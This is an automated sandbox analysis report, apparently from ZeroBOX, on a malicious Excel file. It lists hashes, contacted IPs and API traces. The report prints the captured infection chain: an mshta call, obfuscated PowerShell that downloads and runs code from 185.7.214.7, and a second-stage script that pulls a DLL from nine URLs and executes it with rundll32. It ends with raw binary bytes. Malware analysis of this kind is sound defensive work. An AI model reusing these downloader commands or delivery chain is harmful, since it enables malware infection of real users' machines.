Summary | ZeroBOX

8775220308147463.xls

Generic Malware Malicious Library Antivirus UPX Malicious Packer PE File MSOffice File DLL OS Processor Check PE32
Category Machine Started Completed
FILE s1_win7_x6401 Jan. 20, 2022, 9:15 a.m. Jan. 20, 2022, 9:18 a.m.
Size 141.1KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Jan 19 09:31:16 2022, Last Saved Time/Date: Wed Jan 19 09:34:50 2022, Security: 0
MD5 76c11124bf3b762351093c424880a516
SHA256 7c70964c132fcec35a067531e95526ab0826f3e77ee4ed6ef1eb2a3b2420c68c
CRC32 193CCC81
ssdeep 3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli
Yara
  • Microsoft_Office_File_Zero - Microsoft Office File

IP Address Status Action
103.75.201.2 Active Moloch
103.8.26.102 Active Moloch
103.8.26.103 Active Moloch
104.168.155.129 Active Moloch
104.251.214.46 Active Moloch
128.199.157.63 Active Moloch
131.100.24.231 Active Moloch
158.69.222.101 Active Moloch
164.124.101.2 Active Moloch
178.63.25.185 Active Moloch
178.79.147.66 Active Moloch
185.46.123.38 Active Moloch
185.7.214.7 Active Moloch
192.254.71.210 Active Moloch
203.114.109.124 Active Moloch
207.38.84.195 Active Moloch
209.59.138.75 Active Moloch
212.237.17.99 Active Moloch
217.182.143.207 Active Moloch
45.118.115.99 Active Moloch
45.118.135.203 Active Moloch
45.142.114.231 Active Moloch
45.176.232.124 Active Moloch
46.55.222.11 Active Moloch
51.38.71.0 Active Moloch
51.68.175.8 Active Moloch
58.227.42.236 Active Moloch
79.172.212.216 Active Moloch
81.0.236.90 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: IsPublic IsSerial Name BaseType
console_handle: 0x0000001b
1 1 0

WriteConsoleW

buffer: True False Process System.ComponentM...
console_handle: 0x00000023
1 1 0

WriteConsoleW

buffer: PS C:\Users\test22\Documents>
console_handle: 0x0000002b
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3a50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b41d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b41d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b41d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b41d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b41d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b41d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3a10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3a10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3a10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b3fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4290
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4290
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4310
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006b4310
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
suspicious_features Connection to IP address suspicious_request GET http://185.7.214.7/fer/fer.html
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.7.214.7/fer/fer.png
suspicious_features GET method with no useragent header suspicious_request GET http://peterpolz.to-create.eu/cgi-bin/toRO9wV0IQu6/
suspicious_features GET method with no useragent header suspicious_request GET http://fr7.anbo5288.cc/-/Q7qLFrKJSlabny0snc/
request GET http://185.7.214.7/fer/fer.html
request GET http://185.7.214.7/fer/fer.png
request GET http://peterpolz.to-create.eu/cgi-bin/toRO9wV0IQu6/
request GET http://fr7.anbo5288.cc/-/Q7qLFrKJSlabny0snc/
ip 103.8.26.102
ip 103.8.26.103
ip 104.168.155.129
ip 209.59.138.75
ip 51.68.175.8
domain fr7.anbo5288.cc description Cocos Islands domain TLD
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fcc1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fd1f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fd1f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fbc1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x71521000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2776
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05150000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2776
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05150000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2776
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05160000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2776
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05310000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x714b2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f70000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f70000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f70000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f71000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f71000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f71000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f71000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f72000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f72000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f72000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f72000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f72000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f73000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f73000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f73000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f74000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f75000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f75000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f75000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f76000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f76000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f76000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f76000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f76000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f77000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f77000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f78000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f78000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f79000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f79000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f79000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f79000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f79000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f79000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f7a000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f7a000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f7b000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f7b000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f7c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03f7c000
process_handle: 0xffffffff
1 0 0
file C:\Users\Public\Documents\ssd.dll
file C:\Users\test22\Documents\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline mshta http://0xb907d607/fer/fer.html
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
cmdline "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
cmdline powershell -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
Time & API Arguments Status Return Repeated

ShellExecuteExW

show_type: 0
filepath_r: powershell
parameters: -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 16 (PAGE_EXECUTE)
base_address: 0x03f70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

flags: 15
family: 0
111 0
Data received HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 20 Jan 2022 00:16:06 GMT Content-Type: image/png Content-Length: 1029 Last-Modified: Wed, 19 Jan 2022 09:27:00 GMT Connection: keep-alive ETag: "61e7d964-405" Accept-Ranges: bytes
Data received $path = "C:\Users\Public\Documents\ssd.dll"; $url1 = 'http://peterpolz.to-create.eu/cgi-bin/toRO9wV0IQu6/'; $url2 = 'http://fr7.anbo5288.cc/-/Q7qLFrKJSlabny0snc/'; $url3 = 'https://schloss.stainz.at.to-create.eu/cgi-bin/az2rEM5i8hacCiLt/'; $url4 = 'http://realinvestdeal.com/nonetdh/jENwrgafB7p8NwZ/'; $url5 = 'https://mall.payarena.com/wp-content/2JioZBV/'; $url6 = 'https://wordpress03.aftershipdemo.com/hqid/V2LD0vsK5Gg50dHb/'; $url7 = 'https://pmfotografie.com/oiuxj4n/3C3da27vJBm0cvajeD/'; $url8 = 'https://lalibertad.apiperu.net.pe/assets/4F/'; $url9 = 'http://s-lifes.com/2vz3x6/4WsF/'; $web = New-Object net.webclient; $urls = "$url1,$url2,$url3,$url4,$url5,$url6,$url7,$url8,$url9".split(","); foreach ($url in $urls) { try { $web.DownloadFile($url, $path); if ((Get-Item $path).Length -ge 30000) { [Diagnostics.Process]; break; } } catch{} } Sleep -s 4;cmd /c C:\Windows\SysWow64\rundll32.exe 'C:\Users\Public\Documents\ssd.dll',AnyString;
Data received HTTP/1.1 403 Forbidden Date: Thu, 20 Jan 2022 00:16:07 GMT Server: Apache Vary: User-Agent Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8
Data received HTTP/1.1 200 OK Date: Thu, 20 Jan 2022 00:16:07 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: 61e8a9c79141f=1642637767; expires=Thu, 20-Jan-2022 00:17:07 GMT; Max-Age=60; path=/ Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Thu, 20 Jan 2022 00:16:07 GMT Expires: Thu, 20 Jan 2022 00:16:07 GMT Content-Disposition: attachment; filename="O1MJFAr.dll" Content-Transfer-Encoding: binary Content-Length: 606208 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $è©ÑŸ¬È¿Ì¬È¿Ì¬È¿Ì‹Ò̤ȿ̋Ä̹ȿ̬Ⱦ̡ʿ̲š*̰ȿ̲š<Ì&ȿ̲š;Ì È¿Ì²š-̭ȿ̲š+̭ȿ̲š.Ì­È¿ÌRich¬È¿ÌPELìçaà!  Înšà  ±ø pëOtÊ܀Èx @f d@à,ìÉ@.textÍÎ `.rdata¿ à Ò@@.data¼‰ðNÞ@À.rsrcÈx€z,@@.relocH™ š¦@BU‹ìjÿhzºd¡Pƒì ¡˜)3ÅPEôd£h€èñúƒÄ‰EìÇEüƒ}ìt ‹MìèF‰EèëÇEè‹Eè‰EðÇEüÿÿÿÿ‹Eð‹Môd‰ Y‹å]ÃÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Mü¸Ìæ‹å]ÃU‹ìjÿh8°d¡PQ¡˜)3ÅPEôd£‰Mðh€Phê‹Mðè¿ ‹EðÇ|èÇEü‹MðÇìæ‹MðƒÁxèâý‹UðÇBp‹EðÇ@t‹MðÇAlÇEüÿÿÿÿ‹Eð‹Môd‰ Y‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Mü‹Müè!‹Eƒàt ‹MüQèÿùƒÄ‹Eü‹å]ÂÌÌÌÌU‹ìjÿh8°d¡PQ¡˜)3ÅPEôd£‰Mð‹EðÇìæÇEü‹MðƒÁxè ÇEüÿÿÿÿ‹Mðè¿ ‹Môd‰ 